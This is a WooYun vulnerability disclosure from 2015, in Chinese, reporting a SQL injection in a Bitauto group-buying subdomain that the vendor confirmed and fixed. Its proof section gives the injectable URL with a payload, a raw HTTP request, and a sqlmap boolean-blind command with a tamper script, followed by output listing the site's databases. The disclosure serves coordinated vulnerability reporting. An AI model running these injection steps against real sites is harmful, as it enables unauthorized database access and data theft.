当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091437

漏洞标题:易车网某分站SQL注射4

相关厂商:易车

漏洞作者: 今天明天

提交时间:2015-01-12 17:46

修复时间:2015-02-26 17:48

公开时间:2015-02-26 17:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商已经确认,细节仅向厂商公开
2015-01-22: 细节向核心白帽子及相关领域专家公开
2015-02-01: 细节向普通白帽子公开
2015-02-11: 细节向实习白帽子公开
2015-02-26: 细节向公众公开

简要描述:

易车网某分站SQL注射4

详细说明:

易车网某分站SQL注射4
http://tuan.bitauto.com/ajax/getSearch/9%20%20AND%20version%28%29%3E0--/2715
9 的位置存在SQL注入

漏洞证明:

GET /ajax/getSearch/9 * /2715 HTTP/1.1
Host: tuan.bitauto.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: sss
Connection: keep-alive
Cache-Control: max-age=0


root@bt5:/pentest/database/sqlmap# python sqlmap.py -r /1.txt --technique=B --string purchase_id --tamper charencode --dbs --threads 5
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:41:52
[17:41:52] [INFO] parsing HTTP request from '/1.txt'
[17:41:52] [INFO] loading tamper script 'charencode'
custom injection mark ('*') found in '-u'. Do you want to process it? [Y/n/q] y
[17:41:54] [INFO] resuming back-end DBMS 'mysql'
[17:41:54] [INFO] testing connection to the target url
[17:41:54] [INFO] heuristics detected web page charset 'ascii'
[17:41:54] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://tuan.bitauto.com:80/ajax/getSearch/9 AND 4516=4516 /2715
---
[17:41:55] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[17:41:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.9, Apache 2.2.23
back-end DBMS: MySQL 5
[17:41:55] [INFO] fetching database names
[17:41:55] [INFO] fetching number of databases
[17:41:55] [INFO] resumed: 3
[17:41:55] [INFO] retrieving the length of query output
[17:41:55] [INFO] retrieved: 18
[17:41:59] [INFO] resuming partial value: 'i'
[17:42:09] [INFO] retrieved: information_schema
[17:42:10] [INFO] retrieving the length of query output
[17:42:09] [INFO] retrieved: 10
[17:42:25] [INFO] retrieved: hd_huodong
[17:42:25] [INFO] retrieving the length of query output
[17:42:25] [INFO] retrieved: 4
[17:42:31] [INFO] retrieved: test
available databases [3]:
[*] hd_huodong
[*] information_schema
[*] test
[17:42:31] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/tuan.bitauto.com'

修复方案:

过滤

版权声明:转载请注明来源 今天明天@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-12 17:48

厂商回复:

非常感谢对易车的帮助,我们尽快修复

最新状态:

2015-01-13:漏洞已经修复,感谢对易车的关注